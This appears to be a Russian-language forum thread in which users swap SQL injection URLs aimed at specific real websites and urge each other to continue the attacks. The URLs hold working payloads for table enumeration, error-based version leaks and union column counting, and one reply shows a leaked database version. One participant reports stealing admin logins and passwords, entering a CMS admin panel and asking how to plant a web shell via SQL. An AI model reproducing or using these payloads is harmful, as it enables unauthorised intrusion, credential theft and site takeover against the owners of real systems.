http://www.ncm.org.uk/news.asp?id=1+and+1=(select+top+1+table_name+from+ information_schema.tables)

дальше сам

http://www.lpem.org/index.php?mn=6&sb=9&id=9%20or%201%20group%20by%20c oncat(version(),floor(rand(0)*2))having%20min(0)%20or%201--%201&act=detail

Если не знаешь как дальше, то пиши в ПМ

http://www.lpem.org/index.php?mn=6&sb=9&id=9+union+select+1,2,3,4,5,6, 7,8,9,10,11,12,13,14,15,16,17,18,19--&act=detail

mm?

мм... можно и так

чуваки в том то и дело что FROM никак не вставишь=((

хотел станд. методом

так уж быть

http://www.lpem.org/index.php?mn=6&sb=9&id=9+and+%28select+1+from+%28s elect+count%280%29,concat%28%28select+version%28%2 9%29,floor%28rand%280%29*2%29%29+from+information_ schema.tables+group+by+2%29a%29--&act=detail

Duplicate entry '5.1.50-log1' for key 'group_key'

http://www.yakutproekt.ru/news.php?id=14517'

вот это надо ....

тут точно не мускул, думаю ms_sql, но не скажу почему )

21 столбцов но селект не робит.

если есть желание копай дальше

ну да, mssql

http://www.yakutproekt.ru/news.php?id=14517+and+len(@@version)=len(@@version )

4-ый сайт вообще не открывается без ошибки..

Выдрал лоигины и пассы админов на отдном сайте...

Попал в админку) в админке написанно Extasy CMS for site.ru

Нужно как то залить шелл, все что там нашол, это то что можно выполнить sql запрос

и доступен html

мб как то можно залить шел с помощью sql запроса?